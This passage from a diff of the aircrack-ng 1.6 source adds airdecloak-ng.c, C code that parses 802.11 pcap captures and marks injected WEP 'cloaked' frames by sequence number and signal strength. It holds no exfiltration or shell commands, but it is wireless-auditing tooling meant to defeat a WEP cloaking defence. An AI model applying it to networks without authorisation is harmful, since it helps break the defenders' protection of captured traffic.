+	if (f_bad != NULL) fclose(f_bad);
+
+	/* write some statistics */
+
+	erase_line(2);
+	printf("Total number of stations seen     %8lu\n"
+		   "Total number of packets read      %8lu\n"
+		   "Total number of WEP data packets  %8lu\n"
+		   "Total number of WPA data packets  %8lu\n"
+		   "Number of plaintext data packets  %8lu\n"
+		   "Number of decrypted WEP  packets  %8lu\n"
+		   "Number of corrupted WEP  packets  %8lu\n"
+		   "Number of decrypted WPA  packets  %8lu\n"
+		   "Number of bad TKIP (WPA) packets  %8lu\n"
+		   "Number of bad CCMP (WPA) packets  %8lu\n",
+		   stats.nb_stations,
+		   stats.nb_read,
+		   stats.nb_wep,
+		   stats.nb_wpa,
+		   stats.nb_plain,
+		   stats.nb_unwep,
+		   stats.nb_bad,
+		   stats.nb_unwpa,
+		   stats.nb_failed_tkip,
+		   stats.nb_failed_ccmp);
+	if (!memcmp(opt.bssid, ZERO, 6) && wds)
+		printf("Warning: WDS packets detected, but no BSSID specified\n");
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/airdecloak-ng Added

aircrack-ng-1.6.tar.gz/src/airdecloak-ng/airdecloak-ng.c Added

@@ -0,0 +1,1890 @@
+/*
+ *  WEP Cloaking filtering
+ *
+ *  Copyright (C) 2008-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  Thanks to Alex Hernandez aka alt3kx for the hardware.
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include <getopt.h>
+#include "airdecloak-ng.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/defs.h"
+#include "radiotap/radiotap_iter.h"
+#include "aircrack-ng/tui/console.h"
+
+static unsigned char buffer[65536];
+
+static char * _filename_output_invalid;
+static char * _filename_output_cloaked;
+static char * _filename_output_filtered;
+static FILE * _output_cloaked_packets_file;
+static FILE * _output_clean_capture_file;
+static FILE * _input_file;
+static struct pcap_file_header _pfh_in;
+static struct pcap_file_header _pfh_out;
+
+static long _filters;
+
+static int _is_wep;
+
+static unsigned char _bssid[6];
+
+static int _options_drop_fragments = 0;
+static int _options_disable_retry = 0;
+static int _options_disable_base_filter = 0;
+static int _options_assume_null_packets_uncloaked = 0;
+
+static struct decloak_stats stats;
+
+static int getBits(unsigned char b, int from, int nb_bits)
+{
+	unsigned int value = (unsigned int) b;
+	unsigned int and_1st = 0;
+	int i;
+	if (from < 0 || from > 7 || nb_bits <= 0 || (from + nb_bits) > 8)
+	{
+		return -1;
+	}
+
+	for (i = from; i < from + nb_bits; i++)
+	{
+		and_1st += 1 << i;
+	}
+
+	value &= and_1st;
+
+	value >>= from;
+
+	return value;
+}
+
+static FILE * openfile(const char * filename, const char * mode, int fatal)
+{
+	REQUIRE(filename != NULL);
+	REQUIRE(mode != NULL);
+
+	FILE * f;
+
+	if ((f = fopen(filename, mode)) == NULL)
+	{
+		perror("fopen failed\n");
+		printf("Could not open \"%s\" in \"%s\" mode.\n", filename, mode);
+
+		if (fatal)
+		{
+			exit(EXIT_FAILURE);
+		}
+	}
+
+	return f;
+}
+
+// Return 1 on success, 0 on failure
+static BOOLEAN write_packet(FILE * file, struct packet_elt * packet)
+{
+	REQUIRE(file != NULL);
+	REQUIRE(packet != NULL);
+
+	int result;
+	unsigned int caplen = packet->header.caplen;
+
+	// Write packet header
+	if (_pfh_in.magic == TCPDUMP_CIGAM)
+		SWAP32(packet->header
+				   .caplen); // Make sure it is re-swapped CORRECTLY -> OK
+
+	result = fwrite(&(packet->header), 1, PACKET_HEADER_SIZE, file);
+	if (result != PACKET_HEADER_SIZE)
+	{
+		perror("fwrite(packet header) failed");
+		return false;
+	}
+
+	// Write packet
+	result = fwrite(packet->packet, 1, caplen, file);
+	if (result != (int) caplen)
+	{
+		perror("fwrite(packet) failed");
+		return false;
+	}
+
+	return true;
+}
+
+static FILE * init_new_pcap(const char * filename)
+{
+	REQUIRE(filename != NULL);
+
+	FILE * f;
+
+	f = openfile(filename, "wb", 1);
+
+	if (f != NULL)
+	{
+		if (fwrite(&_pfh_out, 1, sizeof(_pfh_out), f)
+			!= (size_t) sizeof(_pfh_out))
+		{
+			perror("fwrite(pcap file header) failed");
+		}
+	}
+
+	return f;
+}
+
+static FILE * open_existing_pcap(const char * filename)
+{
+	REQUIRE(filename != NULL);
+
+	FILE * f;
+	size_t temp_sizet;
+
+	f = fopen(filename, "rb");
+
+	if (f == NULL)
+	{
+		perror("Unable to open pcap");
+		return NULL;
+	}
+
+	temp_sizet = (size_t) sizeof(_pfh_in);
+
+	if (fread(&_pfh_in, 1, temp_sizet, f) != temp_sizet)
+	{
+		perror("fread(pcap file header) failed");
+		fclose(f);
+		return NULL;
+	}
+
+	if (_pfh_in.magic != TCPDUMP_MAGIC && _pfh_in.magic != TCPDUMP_CIGAM)
+	{
+		printf("\"%s\" isn't a pcap file (expected "
+			   "TCPDUMP_MAGIC).\n",
+			   filename);
+		fclose(f);
+		return NULL;
+	}
+	_pfh_out = _pfh_in;
+
+	if (_pfh_in.magic == TCPDUMP_CIGAM) SWAP32(_pfh_in.linktype);
+
+	if (_pfh_in.linktype != LINKTYPE_IEEE802_11
+		&& _pfh_in.linktype != LINKTYPE_PRISM_HEADER
+		&& _pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+		&& _pfh_in.linktype != LINKTYPE_PPI_HDR)
+	{
+		printf("\"%s\" isn't a regular 802.11 "
+			   "(wireless) capture.\n",
+			   filename);
+		fclose(f);
+		return NULL;
+	}
+	else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+	{
+		printf("Radiotap header found. Parsing Radiotap is experimental.\n");
+	}
+	else if (_pfh_in.linktype == LINKTYPE_PPI_HDR)
+	{
+		printf("PPI not yet supported\n");
+		fclose(f);
+		return NULL;
+	}
+
+	//_pcap_linktype = _pfh_in.linktype;
+
+	return f;
+}
+
+static BOOLEAN initialize_linked_list(void)
+{
+	_packet_elt_head
+		= (struct packet_elt_header *) malloc(sizeof(struct packet_elt_header));
+	ALLEGE(_packet_elt_head != NULL);
+	_packet_elt_head->first
+		= (struct packet_elt *) malloc(sizeof(struct packet_elt));
+	ALLEGE(_packet_elt_head->first != NULL);
+	_packet_elt_head->last = _packet_elt_head->first;
+	_packet_elt_head->current = _packet_elt_head->first;
+	_packet_elt_head->current->complete = 0;
+	_packet_elt_head->current->prev = NULL; // First packet, no previous
+	_packet_elt_head->current->next = NULL;
+	_packet_elt_head->nb_packets = 1;
+	return true;
+}
+
+static BOOLEAN add_node_if_not_complete(void)
+{
+	if (_packet_elt_head->current->complete == 1)
+	{
+		// Allocate new packet
+		_packet_elt_head->current->next
+			= (struct packet_elt *) malloc(sizeof(struct packet_elt));
+		ALLEGE(_packet_elt_head->current->next != NULL);
+		_packet_elt_head->current->next->prev = _packet_elt_head->current;
+		_packet_elt_head->current = _packet_elt_head->current->next;
+
+		_packet_elt_head->current->complete = 0;
+		_packet_elt_head->nb_packets += 1;
+
+		// Last will be set at the end of the while when everything went ok
+	} // No free of the *packet pointer because it is only set when everything
+	// is ok => if a packet is not ok, it will never have *packet malloced
+	// Always reset is_cloaked field and dropped field
+	_packet_elt_head->current->is_cloaked
+		= UKNOWN_FRAME_CLOAKING_STATUS; // Unknown state of this packet
+	_packet_elt_head->current->is_dropped = 0;
+	return true;
+}
+
+static void set_node_complete(void)
+{
+	_packet_elt_head->current->complete = 1;
+	_packet_elt_head->last = _packet_elt_head->current;
+}
+
+static void remove_last_uncomplete_node(void)
+{
+	struct packet_elt * packet;
+	if (_packet_elt_head->current->complete == 0)
+	{
+		packet = _packet_elt_head->current;
+		_packet_elt_head->nb_packets -= 1;
+		if (_packet_elt_head->current->prev)
+		{
+			_packet_elt_head->current->prev->next = NULL;
+		}
+		free(packet);
+	}
+}
+
+static int get_rtap_signal(int caplen)
+{
+	REQUIRE(caplen > 0 && caplen < INT32_MAX);
+
+	struct ieee80211_radiotap_iterator iterator;
+	struct ieee80211_radiotap_header * rthdr;
+
+	rthdr = (struct ieee80211_radiotap_header *) buffer;
+
+	if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0)
+		return 0;
+
+	while (ieee80211_radiotap_iterator_next(&iterator) >= 0)
+	{
+		if (iterator.this_arg_index == IEEE80211_RADIOTAP_DBM_ANTSIGNAL)
+			return *iterator.this_arg;
+		if (iterator.this_arg_index == IEEE80211_RADIOTAP_DB_ANTSIGNAL)
+			return *iterator.this_arg;
+		if (iterator.this_arg_index == IEEE80211_RADIOTAP_LOCK_QUALITY)
+			return *iterator.this_arg;
+	}
+	return 0;
+}
+
+// !!!! WDS not yet implemented
+static BOOLEAN read_packets(void)
+{
+	int i, start;
+	time_t tt;
+	unsigned char * h80211;
+	size_t bytes_read;
+
+	i = 0;
+
+	memset(&stats, 0, sizeof(stats));
+	tt = time(NULL);
+
+	switch (_pfh_in.linktype)
+	{
+		case LINKTYPE_PRISM_HEADER:
+			start = 144; // based on madwifi-ng
+			break;
+		case LINKTYPE_RADIOTAP_HDR:
+			start = (int) (buffer[2]); // variable length!
+			break;
+		case LINKTYPE_IEEE802_11:
+		// 0
+		case LINKTYPE_PPI_HDR:
+		// ?
+		default:
+			start = 0;
+			break;
+	}
+
+	// Show link type
+	printf("Link type (Prism: %d - Radiotap: %d - 80211: %d - PPI - %d): ",
+		   LINKTYPE_PRISM_HEADER,
+		   LINKTYPE_RADIOTAP_HDR,
+		   LINKTYPE_IEEE802_11,
+		   LINKTYPE_PPI_HDR);
+
+	switch (_pfh_in.linktype)
+	{
+		case LINKTYPE_PRISM_HEADER:
+			puts("Prism");
+			break;
+		case LINKTYPE_RADIOTAP_HDR:
+			puts("Radiotap");
+			break;
+		case LINKTYPE_IEEE802_11:
+			puts("802.11");
+			break;
+		case LINKTYPE_PPI_HDR:
+			puts("PPI");
+			break;
+		default:
+			printf("Unknown (%lu)\n", (unsigned long) _pfh_in.linktype);
+			break;
+	}
+
+	// Initialize double linked list.
+	initialize_linked_list();
+
+	while (1)
+	{
+		if (time(NULL) - tt > 0)
+		{
+			// update the status line every second
+
+			erase_line(0);
+			printf("Read %lu packets...\r", stats.nb_read);
+			fflush(stdout);
+			tt = time(NULL);
+		}
+
+		/* read one packet */
+
+		// Only malloc if complete
+		add_node_if_not_complete();
+
+		// puts("Reading packet header");
+		bytes_read = fread(&(_packet_elt_head->current->header),
+						   1,
+						   PACKET_HEADER_SIZE,
+						   _input_file);
+		if (bytes_read != (size_t) PACKET_HEADER_SIZE)
+		{
+			if (bytes_read != 0)
+			{
+				printf("Failed to read packet header.\n");
+			}
+			else
+			{
+				// Normal, reached EOF.
+				// printf("Reached EOF.\n");
+			}
+			break;
+		}
+
+		if (_pfh_in.magic == TCPDUMP_CIGAM)
+			SWAP32(_packet_elt_head->current->header.caplen);
+
+		if (_packet_elt_head->current->header.caplen <= 0
+			|| _packet_elt_head->current->header.caplen > 65535)
+		{
+			printf("Corrupted file? Invalid packet length %lu.\n",
+				   (unsigned long) _packet_elt_head->current->header.caplen);
+			break;
+		}
+
+		// Reset buffer
+		memset(buffer, 0, 65536);
+
+		// Read packet from file
+		bytes_read = fread(
+			buffer, 1, _packet_elt_head->current->header.caplen, _input_file);
+
+		if (bytes_read != (size_t) _packet_elt_head->current->header.caplen)
+		{
+			printf("Error reading the file: read %lu bytes out of %lu.\n",
+				   (unsigned long) bytes_read,
+				   (unsigned long) _packet_elt_head->current->header.caplen);
+
+			break;
+		}
+
+		stats.nb_read++;
+
+		// Put all stuff in the packet header and
+
+		// ---------------------------- Don't remove anything
+		// ----------------------
+		// ---------------------------- Just know where the packet start
+		// -----------
+
+		h80211 = buffer + start;
+
+		// Know the kind of packet
+		_packet_elt_head->current->frame_type = getBits(*h80211, 2, 2);
+
+#ifdef DEBUG
+		printf("Frame type: %d\n", _packet_elt_head->current->frame_type);
+#endif
+
+		_packet_elt_head->current->version_type_subtype = *h80211;
+
+#ifdef DEBUG
+		printf("First byte: %x\n", *h80211);
+#endif
+
+		// Filter out unknown packet types and control frames
+		if (_packet_elt_head->current->frame_type != FRAME_TYPE_DATA
+			&& _packet_elt_head->current->frame_type != FRAME_TYPE_MANAGEMENT)
+		{
+			// Don't care about the frame if it's a control or unknown frame).
+			if (_packet_elt_head->current->frame_type != FRAME_TYPE_CONTROL)
+			{
+				// Unknown frame type, log it
+				// printf("Unknown frame type: %d\n", packet->frame_type);
+				// ------------- May be interesting to put all those packets in
+				// a separate file
+			}
+			continue;
+		}
+
+		if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT)
+		{
+			// Assumption: Management packets are not cloaked (may change in the
+			// future)
+			_packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED;
+		}
+		else if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
+		{
+			_packet_elt_head->current->is_cloaked
+				= UKNOWN_FRAME_CLOAKING_STATUS;
+		}
+
+		// Retry bit
+		_packet_elt_head->current->retry_bit = getBit(*(h80211 + 1), 3);
+
+		// More fragments bit
+		_packet_elt_head->current->more_fragments_bit
+			= getBit(*(h80211 + 1), 2);
+		if (_packet_elt_head->current->more_fragments_bit
+			&& _options_drop_fragments)
+		{
+			_packet_elt_head->current->is_dropped = 1;
+		}
+
+// TODO: Get the speed from the packet if radiotap/prism header exist.
+
+// TODO: Get also the channel from the headers (the sensor may inject
+//       cloaked frames on a channel is not the same as the AP)
+
+#ifdef DEBUG
+		printf("Retry bit: %d\n", _packet_elt_head->current->retry_bit);
+		printf("More fragments bit: %d\n",
+			   _packet_elt_head->current->more_fragments_bit);
+#endif
+		/*------------------------------- drop if control frame (does not
+		 * contains SN) ----------------------*/
+		// TODO: We should care about control frames since they are not cloaked
+		//       and they can be useful for signal filtering (have a better
+		//       average).
+
+		/* check the BSSID */
+		switch (h80211[1] & 3)
+		{
+			case 0: // To DS = 0, From DS = 0: DA, SA, BSSID (Ad Hoc)
+				memcpy(_packet_elt_head->current->destination, h80211 + 4, 6);
+				memcpy(_packet_elt_head->current->source, h80211 + 10, 6);
+				memcpy(_packet_elt_head->current->bssid, h80211 + 16, 6);
+
+				_packet_elt_head->current->fromDS = 0;
+				_packet_elt_head->current->toDS = 0;
+				break;
+
+			case 1: // To DS = 1, From DS = 0: BSSID, SA, DA (To DS)
+				memcpy(_packet_elt_head->current->bssid, h80211 + 4, 6);
+				memcpy(_packet_elt_head->current->source, h80211 + 10, 6);
+				memcpy(_packet_elt_head->current->destination, h80211 + 16, 6);
+
+				_packet_elt_head->current->fromDS = 0;
+				_packet_elt_head->current->toDS = 1;
+				break;
+
+			case 2: // To DS = 0, From DS = 1: DA, BSSID, SA (From DS)
+				memcpy(_packet_elt_head->current->destination, h80211 + 4, 6);
+				memcpy(_packet_elt_head->current->bssid, h80211 + 10, 6);
+				memcpy(_packet_elt_head->current->source, h80211 + 16, 6);
+
+				_packet_elt_head->current->fromDS = 1;
+				_packet_elt_head->current->toDS = 0;
+				break;
+
+			case 3: // To DS = 1, From DS = 1: RA, TA, DA, SA (WDS)
+				memcpy(_packet_elt_head->current->source, h80211 + 24, 6);
+				memcpy(_packet_elt_head->current->bssid, h80211 + 10, 6);
+				memcpy(_packet_elt_head->current->destination, h80211 + 16, 6);
+
+				_packet_elt_head->current->fromDS = 1;
+				_packet_elt_head->current->toDS = 1;
+				break;
+		}
+
+#ifdef DEBUG
+		printf("From DS: %d - ToDS: %d\n",
+			   _packet_elt_head->current->fromDS,
+			   _packet_elt_head->current->toDS);
+		printf("BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   _packet_elt_head->current->bssid[0],
+			   _packet_elt_head->current->bssid[1],
+			   _packet_elt_head->current->bssid[2],
+			   _packet_elt_head->current->bssid[3],
+			   _packet_elt_head->current->bssid[4],
+			   _packet_elt_head->current->bssid[5]);
+		printf("Source: %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   _packet_elt_head->current->source[0],
+			   _packet_elt_head->current->source[1],
+			   _packet_elt_head->current->source[2],
+			   _packet_elt_head->current->source[3],
+			   _packet_elt_head->current->source[4],
+			   _packet_elt_head->current->source[5]);
+		printf("Dest: %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   _packet_elt_head->current->destination[0],
+			   _packet_elt_head->current->destination[1],
+			   _packet_elt_head->current->destination[2],
+			   _packet_elt_head->current->destination[3],
+			   _packet_elt_head->current->destination[4],
+			   _packet_elt_head->current->destination[5]);
+#endif
+
+		// Filter out packets not belonging to our BSSID
+		if (memcmp(_packet_elt_head->current->bssid, _bssid, 6) != 0)
+		{
+			// Not the BSSID we are looking for
+			// printf("It's not the BSSID we are looking for.\n");
+			continue;
+		}
+
+		// Grab sequence number and fragment number
+		_packet_elt_head->current->sequence_number
+			= ((h80211[22] >> 4) + (h80211[23] << 4)); // 12 bits
+		_packet_elt_head->current->fragment_number
+			= getBits(h80211[23], 4, 4); // 4 bits
+
+		// drop frag option
+		if (_options_drop_fragments
+			&& _packet_elt_head->current->fragment_number)
+		{
+			_packet_elt_head->current->is_dropped = 1;
+		}
+
+#ifdef DEBUG
+		printf("Sequence: %d - Fragment: %d\n",
+			   _packet_elt_head->current->sequence_number,
+			   _packet_elt_head->current->fragment_number);
+#endif
+		// Get the first beacon and search for WEP only
+		// if not (data) wep, stop completely processing (_is_wep)
+		if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT)
+		{
+			// Get encryption from beacon/probe response
+			if (h80211[0] == BEACON_FRAME || h80211[0] == PROBE_RESPONSE)
+			{
+				if ((h80211[34] & 0x10) >> 4)
+				{
+					_is_wep = 1;
+					// Make sure it's not WPA
+
+					// TODO: See airodump-ng around line 1500
+				}
+				else
+				{
+					// Completely stop processing
+					printf(
+						"FATAL ERROR: The network is not WEP (byte 34: %d)\n.",
+						h80211[34]);
+					exit(1);
+				}
+			}
+		}
+
+		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
+		{
+			// Copy IV
+			memcpy(_packet_elt_head->current->iv, (h80211 + 24), 3);
+
+#ifdef DEBUG
+			printf("IV: %X %X %X\n",
+				   _packet_elt_head->current->iv[0],
+				   _packet_elt_head->current->iv[1],
+				   _packet_elt_head->current->iv[2]);
+#endif
+
+			// Copy key index
+			_packet_elt_head->current->key_index = h80211[27];
+#ifdef DEBUG
+			printf("Key index: %d\n", _packet_elt_head->current->key_index);
+#endif
+			// Copy checksum
+			memcpy(_packet_elt_head->current->icv,
+				   buffer + (_packet_elt_head->current->header.caplen) - 4,
+				   4);
+#ifdef DEBUG
+			printf("ICV: %X %X %X %X\n",
+				   _packet_elt_head->current->icv[0],
+				   _packet_elt_head->current->icv[1],
+				   _packet_elt_head->current->icv[2],
+				   _packet_elt_head->current->icv[3]);
+#endif
+		}
+		else
+		{ // Management packet (control packets were filtered out.
+			_packet_elt_head->current->iv[0] = _packet_elt_head->current->iv[1]
+				= _packet_elt_head->current->iv[2] = 0;
+			_packet_elt_head->current->key_index = 0;
+			_packet_elt_head->current->icv[0]
+				= _packet_elt_head->current->icv[1]
+				= _packet_elt_head->current->icv[2]
+				= _packet_elt_head->current->icv[3] = 0;
+#ifdef DEBUG
+			printf("Not a data packet thus no IV, no key index, no ICV\n");
+#endif
+		}
+
+		// Copy the packet itself
+		_packet_elt_head->current->packet = (unsigned char *) malloc(
+			_packet_elt_head->current->header.caplen);
+		ALLEGE(_packet_elt_head->current->packet != NULL);
+		memcpy(_packet_elt_head->current->packet,
+			   buffer,
+			   _packet_elt_head->current->header.caplen);
+
+		// Copy signal if exist
+		_packet_elt_head->current->signal_quality = -1;
+		if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+		{
+			// Hack: pos 0x44 (at least on madwifi-ng)
+			_packet_elt_head->current->signal_quality = buffer[0x44];
+		}
+		else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+		{
+			_packet_elt_head->current->signal_quality
+				= get_rtap_signal(_packet_elt_head->current->header.caplen);
+		}
+#ifdef DEBUG
+		printf("Signal quality: %d\n",
+			   _packet_elt_head->current->signal_quality);
+#endif
+
+// Append to the list
+#ifdef ONLY_FIRST_PACKET
+		puts("!!! Don't forget to append");
+
+		break;
+#else
+		set_node_complete();
+#endif
+	}
+	remove_last_uncomplete_node();
+
+	printf("Nb packets: %d           \n", _packet_elt_head->nb_packets);
+
+	return true;
+}
+
+static void reset_current_packet_pointer(void)
+{
+	_packet_elt_head->current = _packet_elt_head->first;
+}
+
+static BOOLEAN reset_current_packet_pointer_to_ap_packet(void)
+{
+	reset_current_packet_pointer();
+	return next_packet_pointer_from_ap();
+}
+
+static BOOLEAN reset_current_packet_pointer_to_client_packet(void)
+{
+	reset_current_packet_pointer();
+	return next_packet_pointer_from_client();
+}
+
+static BOOLEAN next_packet_pointer_from_ap(void)
+{
+	while (_packet_elt_head->current->toDS != 0)
+	{
+		if (next_packet_pointer() == false)
+		{
+			return false;
+		}
+	}
+	if (_packet_elt_head->current->toDS == 0)
+	{
+		return true;
+	}
+	else
+	{
+		return false;
+	}
+}
+
+static BOOLEAN next_packet_pointer_from_client(void)
+{
+	while (_packet_elt_head->current->toDS == 0)
+	{
+		if (next_packet_pointer() == false)
+		{
+			return false;
+		}
+	}
+	if (_packet_elt_head->current->toDS == 1)
+	{
+		return true;
+	}
+	else
+	{
+		return false;
+	}
+}
+
+static BOOLEAN next_packet_pointer(void)
+{
+	BOOLEAN success = false;
+	// Go to next packet if not the last one
+	if (_packet_elt_head->current != _packet_elt_head->last)
+	{
+		_packet_elt_head->current = _packet_elt_head->current->next;
+		success = true;
+	}
+
+	return success;
+}
+
+static int compare_SN_to_current_packet(struct packet_elt * packet)
+{
+	REQUIRE(packet != NULL);
+
+	if (_packet_elt_head->current->sequence_number > packet->sequence_number)
+	{
+		// Current packet SN is superior to packet SN
+		return 1;
+	}
+	else if (_packet_elt_head->current->sequence_number
+			 < packet->sequence_number)
+	{
+		// Current packet SN is inferior to packet SN
+		return -1;
+	}
+
+	// Identical
+	return 0;
+}
+
+static BOOLEAN
+current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet)
+{
+	REQUIRE(packet != NULL);
+
+	BOOLEAN success = false;
+
+	if (_packet_elt_head->current->fromDS == packet->fromDS
+		&& _packet_elt_head->current->toDS == packet->toDS)
+	{
+		if (packet->fromDS == 1 && packet->toDS == 0)
+		{
+			// Coming from the AP, no other check needed
+			// (BSSID check already done when creating this list)
+			success = true;
+		}
+		else
+		{
+			// Also check MAC source
+			if (maccmp(packet->source, _packet_elt_head->current->source) == 0)
+			{
+				success = true;
+			}
+		}
+	}
+	else if (packet->fromDS == 0 && packet->toDS == 0)
+	{
+		// Beacons (and some other packets) coming from the AP (both from and
+		// toDS are 0).
+		if (_packet_elt_head->current->fromDS == 1
+			&& _packet_elt_head->current->toDS == 0)
+		{
+			success = true;
+		}
+	}
+
+	return success;
+}
+
+static BOOLEAN
+next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet)
+{
+	REQUIRE(packet != NULL);
+
+	BOOLEAN success = false;
+
+	// !!! Now we only have the packets from the BSSID.
+
+	while (success == 0 && next_packet_pointer())
+	{
+		success = current_packet_pointer_same_fromToDS_and_source(packet);
+	}
+	return success;
+}
+
+static BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(void)
+{
+	return next_packet_pointer_same_fromToDS_and_source(
+		_packet_elt_head->current);
+}
+
+static int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(void)
+{
+	// This filtered 1148 packets on a 300-350K capture (~150K were cloaked)
+	// Filtering was done correctly, all packets marked as cloaked were really
+	// cloaked).
+	struct packet_elt * current_packet;
+	int how_far, nb_marked;
+
+	puts("Cloaking - Marking all duplicate SN cloaked if frame is valid or "
+		 "uncloaked");
+
+	// Start from the beginning (useful comment)
+	reset_current_packet_pointer();
+
+	nb_marked = 0;
+	do
+	{
+		// We should first check for each VALID_FRAME_UNCLOAKED or CLOAKED_FRAME
+		// packet
+		// PACKET_CHECKING_LENGTH packets later (ONLY NEXT PACKETS)
+		// and if one of the packet has an identical SN, mark it as CLOAKED
+		if (_packet_elt_head->current->is_cloaked != VALID_FRAME_UNCLOAKED
+			&& _packet_elt_head->current->is_cloaked != CLOAKED_FRAME)
+		{
+			// Go to next packet if frame is not valid
+			continue;
+		}
+
+		current_packet = _packet_elt_head->current;
+
+		// printf("Trying current packet: %d,%d (SN: %d)\n",
+		// current_packet->fromDS, current_packet->toDS,
+		// current_packet->sequence_number);
+
+		// print_packet(_packet_elt_head->current);
+
+		how_far = 0;
+		while (++how_far <= PACKET_CHECKING_LENGTH
+			   && next_packet_pointer_same_fromToDS_and_source(current_packet)
+					  == true)
+		{
+			switch (_packet_elt_head->current->is_cloaked)
+			{
+				case VALID_FRAME_UNCLOAKED:
+				case CLOAKED_FRAME:
+					// Status known, so go to next frame
+					break;
+				case POTENTIALLY_CLOAKED_FRAME:
+					// puts("CFC_with_valid_packets_mark_others_cloaked() -
+					// Invalid frame status found: POTENTIALLY_CLOAKED_FRAME");
+					break; // Should never happen here
+				case UKNOWN_FRAME_CLOAKING_STATUS:
+					// printf("Found unknown cloaking status frame, checking it
+					// - tested: %d,%d (SN: %d)\n",
+					//		_packet_elt_head->current->fromDS,
+					//_packet_elt_head->current->toDS,
+					//_packet_elt_head->current->sequence_number);
+					if (compare_SN_to_current_packet(current_packet) == 0)
+					{
+						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
+						++nb_marked;
+					}
+					break;
+			}
+		}
+
+		// Go back to the current packet
+		_packet_elt_head->current = current_packet;
+
+	} while (next_packet_pointer() == 1);
+
+	// Reset packet pointer so that next usages of current packet
+	// will start from the beginning (in case it's forgotten).
+	reset_current_packet_pointer();
+
+	printf("%d frames marked\n", nb_marked);
+
+	return nb_marked;
+}
+
+static int CFC_filter_duplicate_sn_ap(void)
+{
+	int nb_packets = 0;
+	puts("Cloaking - Removing the duplicate SN for the AP");
+
+	reset_current_packet_pointer();
+
+	return nb_packets;
+}
+
+static int CFC_filter_duplicate_sn_client(void)
+{
+	int nb_packets = 0;
+	puts("Cloaking - Removing the duplicate SN for the client");
+
+	reset_current_packet_pointer();
+
+	return nb_packets;
+}
+
+static int CFC_filter_duplicate_sn(void)
+{
+	// This will remove a lot of legitimate packets unfortunately
+	return CFC_filter_duplicate_sn_ap() + CFC_filter_duplicate_sn_client();
+}
+
+static int get_average_signal_ap(void)
+{
+	uint32_t all_signals;
+	uint32_t nb_packet_used;
+	int average_signal;
+
+	// Init
+	all_signals = nb_packet_used = 0;
+	average_signal = -1;
+
+	// Check if signal quality is included
+	if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER
+		|| _pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+	{
+
+		if (reset_current_packet_pointer_to_ap_packet() == true)
+		{
+
+			// Calculate signal for all beacons and probe response (and count
+			// number of packets).
+			do
+			{
+				if (_packet_elt_head->current->version_type_subtype
+						== BEACON_FRAME
+					|| _packet_elt_head->current->version_type_subtype
+						   == PROBE_RESPONSE)
+				{
+					nb_packet_used = adds_u32(nb_packet_used, 1U);
+					all_signals += _packet_elt_head->current->signal_quality;
+				}
+			} while (next_packet_pointer_same_fromToDS_and_source(
+						 _packet_elt_head->current)
+					 == true);
+
+			// Calculate the average
+			if (nb_packet_used > 0)
+			{
+				average_signal = (int) (all_signals / nb_packet_used);
+				if (((all_signals / (double) nb_packet_used) - average_signal)
+						* 100
+					> 50)
+				{
+					++average_signal;
+				}
+			}
+			printf("Average signal for AP packets: %d\n", average_signal);
+		}
+		else
+		{
+			puts("Average signal: No packets coming from the AP, cannot "
+				 "calculate it");
+		}
+	}
+	else
+	{
+		puts("Average signal cannot be calculated because headers does not "
+			 "include it");
+	}
+
+	// Return
+	return average_signal;
+}
+
+/**
+ * Filter packets based on signal.
+ *
+ * Use signal from all beacons, make an average
+ * This will allow to find out what packet are legitimate (coming from the AP)
+ * and thus removing cloaked packets
+ * By being able to remove cloaked packets, we'll find out the signal of the
+ * sensor(s)
+ * //and we'll be able to filter out the cloaked packets of clients.
+ *
+ * Enh: use signal from packets marked uncloaked instead of beacons.
+ *
+ * @return Number of frames marked cloaked.
+ */
+static int CFC_filter_signal(void)
+{
+
+// Maximum variation of the signal for unknown status frame and potentially
+// cloaked frames (up & down)
+#define MAX_SIGNAL_VARIATION 3
+#define MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED 2
+
+	int average_signal;
+	int nb_packets = 0;
+	puts("Cloaking - Signal filtering");
+
+	// 1. Get the average signal
